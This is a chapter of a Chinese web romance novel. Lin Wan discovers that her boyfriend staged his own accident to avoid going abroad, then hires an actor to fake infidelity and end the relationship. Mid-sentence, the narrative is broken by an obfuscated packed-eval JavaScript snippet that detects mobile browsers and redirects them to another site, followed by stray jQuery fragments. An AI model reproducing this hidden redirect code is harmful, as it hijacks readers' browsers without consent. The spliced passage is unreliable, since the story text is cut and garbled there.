22. 22

作品:《念念不晚

    当城市的喧嚣渐渐沉寂下来,窗外的世界也变得宁静而神秘。


    由于隔壁的床铺空了出来,林晚晚上不用在椅子上凑活睡觉了。


    熄了灯后,病房里重新归于宁静。


    这还是林晚第一次在医院里过夜,她睡不着,只能盯着裂了纹的天花板发呆。


    “晚晚。”


    陆年之的声音轻柔地响起。


    他甚至没有问林晚睡没睡,就好像笃定她也清醒着一样。


    “我在。”


    林晚侧过头去,看到陆年之也正看着她。


    两个人隔着大概两个床位的距离,陆年之试着伸出胳膊,意识到无法牵到手后,只笑了笑收回了胳膊。


    他说:“我这次出不了国了。”


    从陆年之嘴里说出的这句平静的话,却像一颗地雷炸进了林晚的心里,瞬间翻腾起了漫天的海啸。


    她不知怎的又想起林建刚藏起的大学录取通知书,想起那个老光棍试图扯她衣服时说她考大学没用,她拼尽全力为自己挣来了前途,却怎么让自己也变成了一个面目可憎的刽子手,轻而易举扼杀了陆年之的前途?


    陆年之的语气里却听不到半点的遗憾,继续道:“没关系,如果你以后想出国的话,我们可以考研。”


    林晚的语气里泄露了她的慌乱:“对不起……对不起……”


    陆年之诧异:“你为什么要道歉,我很满意现在这个结果,这样我们就能继续在一起了。”


    不对,不应该是这样的。


    论学业,样貌,待人接物,还是对她,陆年之都是最完美的男友。


    可她不是,她是别有用心的接近,带着不纯粹的一颗心试图将他拉下神坛,一同摔进腌臜的泥潭里。


    她什么都给不了他。


    她后悔了。


    林晚感觉自己额上又开始发烫了,她听到自己沉重的心跳声,拢了拢身上的被子,不自然地说:“早休息吧,我困了。”


    刚闭上眼睛,放在枕头旁边的手机突然震动了一下,随着这声震动,心脏也猛地提起。


    突然的亮光刺得林晚眯起眼睛,当看到手机提醒的新内容后,瞳孔再次放大。


    尾号1456卡**银行收入(他行汇入)100000元,余额205307.88元。【**银行】


    同时弹出的还有那个她之前怎么等都等不来的陌生人消息:交易完成。


    -


    林晚几乎一夜没睡,和对面的人一直做斗争。


    【把卡号给我,我退给你可以吗?】


    【求你,我后悔了。】


    【你到底是谁??】


    ……


    却再也没有等到回复。


    等林晚再去查看的时候,竟然发现用户显示已经注销。


    上午只有两门课,林晚并不着急回学校。


    于是又早早起床去医院的食堂给陆年之买早饭,排队的时候,身后突然被人拍了一下。


    林晚回过头,是一个不认识却看着眼熟的妇人。


    “你是1307床的家属吧?你和你男朋友真是郎才女貌,我一下子就记住了。”


    1307正是陆年之的病房号。


    林晚迷茫地点点头,小心翼翼问:“您是?”


    妇人憨厚地笑了笑:“昨天我们见过,我儿子就在你们隔壁那床。”


    经妇人这么提醒,林晚才恍然大悟:“我昨天晚上过去的时候看床空了,以为你们病好出院了。”


    “没有。”妇人摆了摆手,眼睛还盯着橱窗里早饭的样式,“昨天下午护士突然过来说给我们转了一间更好的房间,我们也奇怪呢!”


    林晚的脚步顿在了原地。


    明明食堂里并没有风吹过,她却感觉心里凉了一块。


    直到拎着早饭回到住院部的走廊里,林晚还在思索着刚才妇人说的话。


    在没有特殊的情况下,医院不可能莫名其妙给病人转房间,妇人和她的儿子并不是主动要求换的,而她说晚上要陪陆年之,陆年之病房里另一张床刚刚好就空了出来。


    林晚的脑子里有些乱,又想起昨天她听到的肇事司机说的话。


    “车开的好端端的,也不知道人是从哪里蹦出来的……”


    一开始,她只以为是肇事司机为开脱自己而找的借口。


    还有李梦娇的那句“你不该毁了陆学长”,她也以为是李梦娇在怪她没有照顾好陆年之……


    林晚站在病房紧闭的大门前,深色凝重地盯着大门,突然有些害怕进去会看到陆年之。


    林晚不知道站了多久,越想她的心就越往下沉,一直沉到脚底,仿佛脚下站得不是地板,而是沼泽地,一点一点陷了进去,一双手攀附着她,将她往下拉。


    门突然从里面被打开,陆年之单脚跳着,看到门外站着的林晚,此刻脸上没有一点血色。


    “晚晚?你怎么站在门外不进来,我等了你好久给你打电话也不接。”


    林晚这才晃过神来,看到紧紧攥着的手机,屏幕上被她手心的汗印上了几道水渍。


    陆年之伸出手,刚要接过林晚手里的早餐,却被她下意识地躲开了。


    “晚晚?”


    林晚重重的呼出一口浊气,强迫自己撩起额前的刘海,当碎发别到耳后时,她已经换了一副表情。


    “你不方便,怎么还下床了。来,我扶着你。”


    林晚亲昵地走过去,将塑料袋挂在自己的胳膊上,搀扶着陆年之,一步步小心翼翼往陆年之的床边挪去。


    神态自然到,陆年之以为是自己晃神看错了。


    早饭时粥和茶叶蛋,眼下已经是温凉的了,可两个各怀心事的人谁都没有说出来,只自顾自地埋头吃着。


    林晚几乎是硬逼着自己将茶叶蛋咽了进去,浑身就像是高烧过后浑身乏力的虚弱状态。


    等吃完早饭后,陆年之又想拉着林晚坐在他的床边与她亲昵。


    林晚发觉,也许是之前故意冷落了陆年之一段时间,自从他出车祸后,表现得愈发粘人。


    她靠着陆年之,任由他的手一下又一下充当人形梳子为自己拨弄着长发。


    不能再拖下去了。


    林晚盯着自己的脚尖,握紧了拳头,这才缓缓开口:“陆年之,你是不是故意让自己出事的?”


    低垂的睫毛掩盖住了眼底的幽深,轻抚着头发的手有一瞬间的停滞,很快又恢复了常态,顺着发尾缓缓划过。


    “是。”


    陆年之没有否认。


    仿佛所有的血液一股脑往头上涌去,林晚拼尽了全力才没有立刻起身,她猛地转过头去,盯着陆年之,眼圈已然泛红。


    “为什么?”她不解。


    陆年之温柔地笑:“你前一阵对我太冷淡了,我猜你是不想让我出国的。”


    “所以你是为了我?”声音里带着颤音。


    林晚猜,自己现在的表情一定很难看,但她已经顾不上什么表情管理,顾不上那些撩一撩刘海就能让自己有勇气重新戴上的假面,她现在满脑子都在想为什么。


    她无法接受陆年之故意让自己出车祸,只是为了不去参加考试出国。


    明明是关系到前途的事,她拼尽全力才从吃人的家庭里逃出来,为什么陆年之可以说的这样轻描淡写,说的这样事不关己?


    林晚这才意识到,她是真的无法与陆年之在一起了。


    他们的开始本来就是一场错误,若是任由她和陆年之在一起,只会害了陆年之。


    陆年之默默观察着林晚的表情,提议:“还有不到一个月你就要过生日了,你想去哪玩,我们一起出去旅游好不好。”


    差不多是陆年之腿伤好的时间。


    她撩动着额前的刘海,嘴角扬起:“好啊。”


    终于得到了肯定的回答,陆年之心里的一块石头才终于落了地。他往前探着身子,将人搂进自己的怀里,在她的耳边呐呐:“我是真的爱你。”


    “嗯,我也爱你。”声音真挚而动听,可在眼睛里的光已经彻底消失了。


    -


    陆年之在医院里住了大半个月,这期间林晚日日都陪护在他身边,无微不至的照顾他。


    这一度让陆年之有了一瞬间的错觉,也许林晚轻易就原谅了他这样极端的方式,因为爱他,所以就如此宽宏大量的接纳了他。


    赵欣芝曾经说他是没人要没人爱的孩子,可她错了,他此刻就正被深深地爱着。


    他找到了一辈子都不想分开的爱人。


    天气也在陆年之住院的这段时间里渐渐变暖,等他出院的时候,已经从呢子大衣换成了开衫。


    湛蓝色的天空上,阳光透过稀薄的云层,用金色的笔触在云层间勾勒出光芒的轨迹,如同无数细小的光束,又肆意洒在陆年之的身体上,为他披上了一层温暖的光辉。


    陆年之贪婪地呼吸了一口室外的新鲜空气,穿透林晚的五指,与她紧紧相握。


    “我们回家吧。”


    林晚不着痕迹地抽出手:“你先回去,我要去打工。”


    “那我陪你。”


    “不用了,你腿上的伤刚好,回家养着不要乱动了。”


    自从陆年之出院后,林晚好像一直很忙,除非在学校里特意去找她,林晚又恢复了之前神龙见首不见尾的样子。


    有几次,晚上在家里,陆年之甚至在林晚的身上闻到了陌生的香水味。


    就在林晚再一次说要去打工后,陆年之默默跟在了她的身后。


    他看到林晚拐进了一家热闹的酒吧,他闻到酒吧里刺鼻的烟味,震耳欲聋的音乐声让眉毛又蹙在了一起。


    最后,陆年之在角落里的一个卡座上发现了林晚,她正举着酒杯东倒西歪倒在一个男人的怀里,脸上妖媚的笑容,他从来都没见过。


    原来,生活从来都没有善待过他。


    浑身的血液仿佛在一瞬间涌上了头顶,陆年之也跟着笑了起来。


    他走过去,就静静地看着林晚。


    身边的男人戳了戳林晚,夸张地笑道:“这个帅哥怎么一直站在这里,不会又是你惹的什么风流债吧,说说,今晚这都是第几个了。”


    林晚这才抬起头来,注意到了一言不发的陆年之。


    他脸上破碎的笑容让林晚不自觉将酒杯里的酒洒了出来,她小声惊呼着站起身,眼中没有一丝的慌乱,甚至还有些不耐烦。


    林晚撩起额前的刘海,双手抱臂,语气生冷:“你跟踪我?”


    长长的睫毛下瞳色已经暗下了一半,陆年之紧紧攥起拳头,过了好一会,才松开,他低着头,如同一只摇尾乞怜的小狗,企图伸手去牵林晚的手:“我们回家好不好。”


    林晚双眉蹙起,甩开陆年之碰过来的手:“既然被你发现了,那我就摊牌了,我们分手吧。”


    嘴唇在一瞬间仿佛失去了血色,他颤抖着地垂下眼帘,眼睛里悲伤和困惑等多种情绪交织在一起,手再次抬


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245391|138680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起,轻轻拉住刚刚避开他的手。


    没有愤怒地质问问为什么,而是再次用破碎的语言重复着:“我们回家说,好吗。”


    刚才的男人见状站起身,上手钳住陆年之的胳膊,板着脸问:“哥们,干嘛呢?林晚在这陪我玩了好几天了,你说带走就带走,不够意思吧?”


    直到对上陆年之的眼睛,倏地闭上了嘴。


    那双眼睛目光阴沉压抑,他见过各式各样的人,可唯独眼前的男人让他感受到了一种无形的压力,仿佛刚才看到的一切样子都是伪装,甚至再不敢直视他。


    他的目光冷冽如冰,不带一丝温度,却让他的后背留下的涔涔的汗水,就连刚才抓着他胳膊的手也下意识地松开。


    他只觉得,若是再不松开手,他也许会死。


    林晚见状,只得示意男人坐下,她来解决。


    酒吧内的氛围如同一个沸腾的熔炉,少男少女们的身体随着音乐的节奏摇摆,他们的脸庞在闪烁的灯光下忽明忽暗,音乐声如同海浪一波接着一波,巨大的声响几乎要将整个空间填满,让人无法分辨出任何其他的声音。


    指甲深深陷进了肉里,她隐忍着,努力睁大双眼,让所有的情绪在此刻统统被压制。林晚故意提高了音量,几乎是用喊的方式说出近乎决绝的话。


    她说:“我之前对你说的话全都是骗你的,只是为了引起你对我的同情心而已。”


    不是的,虽然她曾说过许多的假话。


    她说:“但是我玩腻了,你这样粘人又不择手段伤害自己也不出国的方式让我压力很大,所以我不想再跟你纠缠了。”


    不是的,他拥有高洁的灵魂,而衬得她更加卑鄙。


    她说:“我就是株烂泥里的杂草,与高高在上的你不是一个世界的人,你耀眼的让我有些讨厌了。”


    她就是株烂泥里的杂草,与高高在上的他从来都不是一个世界的人。


    她说:“分手吧,以后都不要再见了。”


    若不是她这个插曲,他本该有更加光明的人生。


    她说:“我从未爱过你。”


    对不起。


    如果谎话说多了,能变成真的,就好了。


    直到陆年之消失在林晚眼前,她的双手还在颤抖,无数次眼泪想夺眶而出,最终却一滴也没有流下。


    原来难过到极致,是哭不出来的。


    世界在这一刻安静了下来,体感终于撑不住后,林晚瘫在了沙发上。


    目睹了一切的男人抽出桌子上的纸巾,凑过去递到林晚眼前,又是感慨又是奉承:“美女,你演技是真好,感情的爆发让我有了关于演技上的深刻感悟。”


    甚至还企图拉人:“我感觉你特别有潜力,要不然跟着哥一起干吧,行情好的时候月入过万根本不是问题!”


    林晚没有接过纸巾,而是面无表情地打开手机:“一共转你两千八百对吧。”


    语气里透着筋疲力尽的疲惫,嗓子已然沙哑。


    “哎对对对,不过前几天你男朋友人没来,我就只算个出场费吧,你一共给我两千五就行。”男人笑眯眯地掏出手机上的二维码,对刚刚的一幕还在意犹未尽,“看你这是失恋了吧,我的肩膀可以借你哭一哭哦,不收费的。”


    屏幕上显示转账成功,林晚抬起头来,眼神里半是疲惫半是狠厉:“今晚的事,我不希望让第二个人知道。”


    “美女你放心,我们是专业演员,坚决对客户的隐私保密。下次要是还需要扮演什么男友小三之类的活,可以再找我,给你走老客户的价格!”


    聊天界面划到置顶的位置,林晚的手指在屏幕上轻轻滑动,将陆年之的名片移进了黑名单里。随着陆年之的名字从联系人列表里消失,没有想象中的解脱感,反而感觉到了一种前所未有的疲惫,仿佛被抽走了所有的力气。


    手臂无力地垂下,手机从她的手中滑落,重重地落在了沙发上。林晚闭上眼睛,试图将心中的纷扰和外界的喧嚣隔绝开来。


    这样,她这个爱情骗子的行为彻底做实,她与陆年之从此再也不会有交集了吧。


    是她率先结束了这场游戏。


    林晚睁开眼,问坐在旁边的男人:“其实我也没有很坏吧?”


    正在回微信的男人很显然还在状况外,抬起头来时嘴角还挂着笑:“嗯?啊……您是好人啊!”


    好人?她才不是。


    躁动的音乐却在她的耳边一声又一声地炸开,盖过了男人喋喋不休的声音。


    她没有那么多精力去伤心去难过,她还有更重要的事情,不断逼着她抬头往前走。


    -


    林晚最后一次再见到陆年之时,是在他出国的前一天。


    听姜乐言的小道消息,陆年之因为错失了考试交换生的机会,最后不知道通过别的什么途径,晚了两个月自费出了国。


    至于别的,李梦娇没有透露,姜乐言也没有打听到。


    那时,陆年之站在她的出租屋前,他的手扶着大门的门框,因为过于用力,骨节分明的手指泛着白。


    两个人沉默了许久,他再回过头时,眼眶已经染了一层红晕。


    这还是头一次,陆年之将自己的脆弱毫不掩饰的展示出来。


    没遇到她林晚前的陆年之,从来都是那朵高岭之花,被所有港琴学子奉为谪仙一样存在的人。


    而就是这样的一位谪仙,红着眼眶,强压着声音里的颤抖,问她:“你还有什么想对我说的吗?”